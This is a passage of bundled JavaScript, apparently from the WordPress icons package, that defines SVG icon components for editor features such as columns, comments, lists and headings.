  var code_default = /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime28.jsx)(import_primitives27.Path, { d: "M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z" }) });

  // packages/icons/build-module/library/column.mjs
  var import_primitives28 = __toESM(require_primitives(), 1);
  var import_jsx_runtime29 = __toESM(require_jsx_runtime(), 1);
  var column_default = /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime29.jsx)(import_primitives28.Path, { d: "M19 6H6c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zM6 17.5c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h3v10H6zm13.5-.5c0 .3-.2.5-.5.5h-3v-10h3c.3 0 .5.2.5.5v9z" }) });

  // packages/icons/build-module/library/columns.mjs
  var import_primitives29 = __toESM(require_primitives(), 1);
  var import_jsx_runtime30 = __toESM(require_jsx_runtime(), 1);
  var columns_default = /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime30.jsx)(import_primitives29.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M15 7.5h-5v10h5v-10Zm1.5 0v10H19a.5.5 0 0 0 .5-.5V8a.5.5 0 0 0-.5-.5h-2.5ZM6 7.5h2.5v10H6a.5.5 0 0 1-.5-.5V8a.5.5 0 0 1 .5-.5ZM6 6h13a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2Z" }) });

  // packages/icons/build-module/library/comment-author-avatar.mjs
  var import_primitives30 = __toESM(require_primitives(), 1);
  var import_jsx_runtime31 = __toESM(require_jsx_runtime(), 1);
  var comment_author_avatar_default = /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(import_primitives30.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z" }) });

  // packages/icons/build-module/library/comment-author-name.mjs
  var import_primitives31 = __toESM(require_primitives(), 1);
  var import_jsx_runtime32 = __toESM(require_jsx_runtime(), 1);
  var comment_author_name_default = /* @__PURE__ */ (0, import_jsx_runtime32.jsxs)(import_primitives31.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z" }),
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M15 15V15C15 13.8954 14.1046 13 13 13L11 13C9.89543 13 9 13.8954 9 15V15" }),
    /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(import_primitives31.Circle, { cx: "12", cy: "9", r: "2", fillRule: "evenodd", clipRule: "evenodd" })
  ] });

  // packages/icons/build-module/library/comment-content.mjs
  var import_primitives32 = __toESM(require_primitives(), 1);
  var import_jsx_runtime33 = __toESM(require_jsx_runtime(), 1);
  var comment_content_default = /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_primitives32.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M6.68822 16.625L5.5 17.8145L5.5 5.5L18.5 5.5L18.5 16.625L6.68822 16.625ZM7.31 18.125L19 18.125C19.5523 18.125 20 17.6773 20 17.125L20 5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V19.5247C4 19.8173 4.16123 20.086 4.41935 20.2237C4.72711 20.3878 5.10601 20.3313 5.35252 20.0845L7.31 18.125ZM16 9.99997H8V8.49997H16V9.99997ZM8 14H13V12.5H8V14Z" }) });

  // packages/icons/build-module/library/comment-edit-link.mjs
  var import_primitives33 = __toESM(require_primitives(), 1);
  var import_jsx_runtime34 = __toESM(require_jsx_runtime(), 1);
  var comment_edit_link_default = /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime34.jsx)(import_primitives33.Path, { d: "m6.249 11.065.44-.44h3.186l-1.5 1.5H7.31l-1.957 1.96A.792.792 0 0 1 4 13.524V5a1 1 0 0 1 1-1h8a1 1 0 0 1 1 1v1.5L12.5 8V5.5h-7v6.315l.749-.75ZM20 19.75H7v-1.5h13v1.5Zm0-12.653-8.967 9.064L8 17l.867-2.935L17.833 5 20 7.097Z" }) });

  // packages/icons/build-module/library/comment-reply-link.mjs
  var import_primitives34 = __toESM(require_primitives(), 1);
  var import_jsx_runtime35 = __toESM(require_jsx_runtime(), 1);
  var comment_reply_link_default = /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(import_primitives34.Path, { d: "M6.68822 10.625L6.24878 11.0649L5.5 11.8145L5.5 5.5L12.5 5.5V8L14 6.5V5C14 4.44772 13.5523 4 13 4H5C4.44772 4 4 4.44771 4 5V13.5247C4 13.8173 4.16123 14.086 4.41935 14.2237C4.72711 14.3878 5.10601 14.3313 5.35252 14.0845L7.31 12.125H8.375L9.875 10.625H7.31H6.68822ZM14.5605 10.4983L11.6701 13.75H16.9975C17.9963 13.75 18.7796 14.1104 19.3553 14.7048C19.9095 15.2771 20.2299 16.0224 20.4224 16.7443C20.7645 18.0276 20.7543 19.4618 20.7487 20.2544C20.7481 20.345 20.7475 20.4272 20.7475 20.4999L19.2475 20.5001C19.2475 20.4191 19.248 20.3319 19.2484 20.2394V20.2394C19.2526 19.4274 19.259 18.2035 18.973 17.1307C18.8156 16.5401 18.586 16.0666 18.2778 15.7483C17.9909 15.4521 17.5991 15.25 16.9975 15.25H11.8106L14.5303 17.9697L13.4696 19.0303L8.96956 14.5303L13.4394 9.50171L14.5605 10.4983Z" }) });

  // packages/icons/build-module/library/comment.mjs
  var import_primitives35 = __toESM(require_primitives(), 1);
  var import_jsx_runtime36 = __toESM(require_jsx_runtime(), 1);
  var comment_default = /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_primitives35.Path, { d: "M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z" }) });

  // packages/icons/build-module/library/contents.mjs
  var import_primitives36 = __toESM(require_primitives(), 1);
  var import_jsx_runtime37 = __toESM(require_jsx_runtime(), 1);
  var contents_default = /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(import_primitives36.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M8.10417 6.00024H6.5C5.39543 6.00024 4.5 6.89567 4.5 8.00024V10.3336H6V8.00024C6 7.7241 6.22386 7.50024 6.5 7.50024H8.10417V6.00024ZM4.5 13.6669V16.0002C4.5 17.1048 5.39543 18.0002 6.5 18.0002H8.10417V16.5002H6.5C6.22386 16.5002 6 16.2764 6 16.0002V13.6669H4.5ZM10.3958 6.00024V7.50024H13.6042V6.00024H10.3958ZM15.8958 6.00024V7.50024H17.5C17.7761 7.50024 18 7.7241 18 8.00024V10.3336H19.5V8.00024C19.5 6.89567 18.6046 6.00024 17.5 6.00024H15.8958ZM19.5 13.6669H18V16.0002C18 16.2764 17.7761 16.5002 17.5 16.5002H15.8958V18.0002H17.5C18.6046 18.0002 19.5 17.1048 19.5 16.0002V13.6669ZM13.6042 18.0002V16.5002H10.3958V18.0002H13.6042Z" }) });

  // packages/icons/build-module/library/cover.mjs
  var import_primitives37 = __toESM(require_primitives(), 1);
  var import_jsx_runtime38 = __toESM(require_jsx_runtime(), 1);
  var cover_default = /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime38.jsx)(import_primitives37.Path, { d: "M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h6.2v8.9l2.5-3.1 2.5 3.1V4.5h2.2c.4 0 .8.4.8.8v13.4z" }) });

  // packages/icons/build-module/library/crop.mjs
  var import_primitives38 = __toESM(require_primitives(), 1);
  var import_jsx_runtime39 = __toESM(require_jsx_runtime(), 1);
  var crop_default = /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime39.jsx)(import_primitives38.Path, { d: "M18 20v-2h2v-1.5H7.75a.25.25 0 0 1-.25-.25V4H6v2H4v1.5h2v8.75c0 .966.784 1.75 1.75 1.75h8.75v2H18ZM9.273 7.5h6.977a.25.25 0 0 1 .25.25v6.977H18V7.75A1.75 1.75 0 0 0 16.25 6H9.273v1.5Z" }) });

  // packages/icons/build-module/library/custom-link.mjs
  var import_primitives39 = __toESM(require_primitives(), 1);
  var import_jsx_runtime40 = __toESM(require_jsx_runtime(), 1);
  var custom_link_default = /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime40.jsx)(import_primitives39.Path, { d: "M12.5 14.5h-1V16h1c2.2 0 4-1.8 4-4s-1.8-4-4-4h-1v1.5h1c1.4 0 2.5 1.1 2.5 2.5s-1.1 2.5-2.5 2.5zm-4 1.5v-1.5h-1C6.1 14.5 5 13.4 5 12s1.1-2.5 2.5-2.5h1V8h-1c-2.2 0-4 1.8-4 4s1.8 4 4 4h1zm-1-3.2h5v-1.5h-5v1.5zM18 4H9c-1.1 0-2 .9-2 2v.5h1.5V6c0-.3.2-.5.5-.5h9c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5v-.5H7v.5c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2z" }) });

  // packages/icons/build-module/library/custom-post-type.mjs
  var import_primitives40 = __toESM(require_primitives(), 1);
  var import_jsx_runtime41 = __toESM(require_jsx_runtime(), 1);
  var custom_post_type_default = /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime41.jsx)(import_primitives40.Path, { d: "M4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4zm.8-4l.7.7 2-2V12h1V9.2l2 2 .7-.7-2-2H12v-1H9.2l2-2-.7-.7-2 2V4h-1v2.8l-2-2-.7.7 2 2H4v1h2.8l-2 2z" }) });

  // packages/icons/build-module/library/details.mjs
  var import_primitives41 = __toESM(require_primitives(), 1);
  var import_jsx_runtime42 = __toESM(require_jsx_runtime(), 1);
  var details_default = /* @__PURE__ */ (0, import_jsx_runtime42.jsxs)(import_primitives41.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.Path, { d: "M4 16h10v1.5H4V16Zm0-4.5h16V13H4v-1.5ZM10 7h10v1.5H10V7Z", fillRule: "evenodd", clipRule: "evenodd" }),
    /* @__PURE__ */ (0, import_jsx_runtime42.jsx)(import_primitives41.Path, { d: "m4 5.25 4 2.5-4 2.5v-5Z" })
  ] });

  // packages/icons/build-module/library/external.mjs
  var import_primitives42 = __toESM(require_primitives(), 1);
  var import_jsx_runtime43 = __toESM(require_jsx_runtime(), 1);
  var external_default = /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime43.jsx)(import_primitives42.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) });

  // packages/icons/build-module/library/file.mjs
  var import_primitives43 = __toESM(require_primitives(), 1);
  var import_jsx_runtime44 = __toESM(require_jsx_runtime(), 1);
  var file_default = /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime44.jsx)(import_primitives43.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z" }) });

  // packages/icons/build-module/library/footer.mjs
  var import_primitives44 = __toESM(require_primitives(), 1);
  var import_jsx_runtime45 = __toESM(require_jsx_runtime(), 1);
  var footer_default = /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime45.jsx)(import_primitives44.Path, { fillRule: "evenodd", d: "M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });

  // packages/icons/build-module/library/format-indent-rtl.mjs
  var import_primitives45 = __toESM(require_primitives(), 1);
  var import_jsx_runtime46 = __toESM(require_jsx_runtime(), 1);
  var format_indent_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(import_primitives45.Path, { d: "M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM20.0303 9.03033L17.0607 12L20.0303 14.9697L18.9697 16.0303L15.4697 12.5303L14.9393 12L15.4697 11.4697L18.9697 7.96967L20.0303 9.03033Z" }) });

  // packages/icons/build-module/library/format-indent.mjs
  var import_primitives46 = __toESM(require_primitives(), 1);
  var import_jsx_runtime47 = __toESM(require_jsx_runtime(), 1);
  var format_indent_default = /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(import_primitives46.Path, { d: "M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-8-3.5l3 3-3 3 1 1 4-4-4-4-1 1z" }) });

  // packages/icons/build-module/library/format-list-bullets-rtl.mjs
  var import_primitives47 = __toESM(require_primitives(), 1);
  var import_jsx_runtime48 = __toESM(require_jsx_runtime(), 1);
  var format_list_bullets_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(import_primitives47.Path, { d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z" }) });

  // packages/icons/build-module/library/format-list-bullets.mjs
  var import_primitives48 = __toESM(require_primitives(), 1);
  var import_jsx_runtime49 = __toESM(require_jsx_runtime(), 1);
  var format_list_bullets_default = /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives48.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });

  // packages/icons/build-module/library/format-list-numbered-rtl.mjs
  var import_primitives49 = __toESM(require_primitives(), 1);
  var import_jsx_runtime50 = __toESM(require_jsx_runtime(), 1);
  var format_list_numbered_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(import_primitives49.Path, { d: "M3.8 15.8h8.9v-1.5H3.8v1.5zm0-7h8.9V7.2H3.8v1.6zm14.7-2.1V10h1V5.3l-2.2.7.3 1 .9-.3zm1.2 6.1c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5H20v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3 0-.8-.3-1.1z" }) });

  // packages/icons/build-module/library/format-list-numbered.mjs
  var import_primitives50 = __toESM(require_primitives(), 1);
  var import_jsx_runtime51 = __toESM(require_jsx_runtime(), 1);
  var format_list_numbered_default = /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime51.jsx)(import_primitives50.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM5 6.7V10h1V5.3L3.8 6l.4 1 .8-.3zm-.4 5.7c-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-1c.3-.6.8-1.4.9-2.1.1-.3 0-.8-.2-1.1-.5-.6-1.3-.5-1.7-.4z" }) });

  // packages/icons/build-module/library/format-ltr.mjs
  var import_primitives51 = __toESM(require_primitives(), 1);
  var import_jsx_runtime52 = __toESM(require_jsx_runtime(), 1);
  var format_ltr_default = /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime52.jsx)(import_primitives51.Path, { d: "M3 9c0 2.8 2.2 5 5 5v-.2V20h1.5V5.5H12V20h1.5V5.5h3V4H8C5.2 4 3 6.2 3 9Zm15.9-1-1.1 1 2.6 3-2.6 3 1.1 1 3.4-4-3.4-4Z" }) });

  // packages/icons/build-module/library/format-outdent-rtl.mjs
  var import_primitives52 = __toESM(require_primitives(), 1);
  var import_jsx_runtime53 = __toESM(require_jsx_runtime(), 1);
  var format_outdent_rtl_default = /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime53.jsx)(import_primitives52.Path, { d: "M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM15.4697 14.9697L18.4393 12L15.4697 9.03033L16.5303 7.96967L20.0303 11.4697L20.5607 12L20.0303 12.5303L16.5303 16.0303L15.4697 14.9697Z" }) });

  // packages/icons/build-module/library/format-outdent.mjs
  var import_primitives53 = __toESM(require_primitives(), 1);
  var import_jsx_runtime54 = __toESM(require_jsx_runtime(), 1);
  var format_outdent_default = /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime54.jsx)(import_primitives53.Path, { d: "M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-4-4.6l-4 4 4 4 1-1-3-3 3-3-1-1z" }) });

  // packages/icons/build-module/library/fullscreen.mjs
  var import_primitives54 = __toESM(require_primitives(), 1);
  var import_jsx_runtime55 = __toESM(require_jsx_runtime(), 1);
  var fullscreen_default = /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime55.jsx)(import_primitives54.Path, { d: "M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z" }) });

  // packages/icons/build-module/library/gallery.mjs
  var import_primitives55 = __toESM(require_primitives(), 1);
  var import_jsx_runtime56 = __toESM(require_jsx_runtime(), 1);
  var gallery_default = /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(import_primitives55.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M16.375 4.5H4.625a.125.125 0 0 0-.125.125v8.254l2.859-1.54a.75.75 0 0 1 .68-.016l2.384 1.142 2.89-2.074a.75.75 0 0 1 .874 0l2.313 1.66V4.625a.125.125 0 0 0-.125-.125Zm.125 9.398-2.75-1.975-2.813 2.02a.75.75 0 0 1-.76.067l-2.444-1.17L4.5 14.583v1.792c0 .069.056.125.125.125h11.75a.125.125 0 0 0 .125-.125v-2.477ZM4.625 3C3.728 3 3 3.728 3 4.625v11.75C3 17.273 3.728 18 4.625 18h11.75c.898 0 1.625-.727 1.625-1.625V4.625C18 3.728 17.273 3 16.375 3H4.625ZM20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z" }) });

  // packages/icons/build-module/library/grid.mjs
  var import_primitives56 = __toESM(require_primitives(), 1);
  var import_jsx_runtime57 = __toESM(require_jsx_runtime(), 1);
  var grid_default = /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime57.jsx)(import_primitives56.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z" }) });

  // packages/icons/build-module/library/group.mjs
  var import_primitives57 = __toESM(require_primitives(), 1);
  var import_jsx_runtime58 = __toESM(require_jsx_runtime(), 1);
  var group_default = /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime58.jsx)(import_primitives57.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z" }) });

  // packages/icons/build-module/library/header.mjs
  var import_primitives58 = __toESM(require_primitives(), 1);
  var import_jsx_runtime59 = __toESM(require_jsx_runtime(), 1);
  var header_default = /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime59.jsx)(import_primitives58.Path, { d: "M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });

  // packages/icons/build-module/library/heading-level-1.mjs
  var import_primitives59 = __toESM(require_primitives(), 1);
  var import_jsx_runtime60 = __toESM(require_jsx_runtime(), 1);
  var heading_level_1_default = /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime60.jsx)(import_primitives59.Path, { d: "M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z" }) });

  // packages/icons/build-module/library/heading-level-2.mjs
  var import_primitives60 = __toESM(require_primitives(), 1);
  var import_jsx_runtime61 = __toESM(require_jsx_runtime(), 1);
  var heading_level_2_default = /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime61.jsx)(import_primitives60.Path, { d: "M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z" }) });

  // packages/icons/build-module/library/heading-level-3.mjs
  var import_primitives61 = __toESM(require_primitives(), 1);
  var import_jsx_runtime62 = __toESM(require_jsx_runtime(), 1);
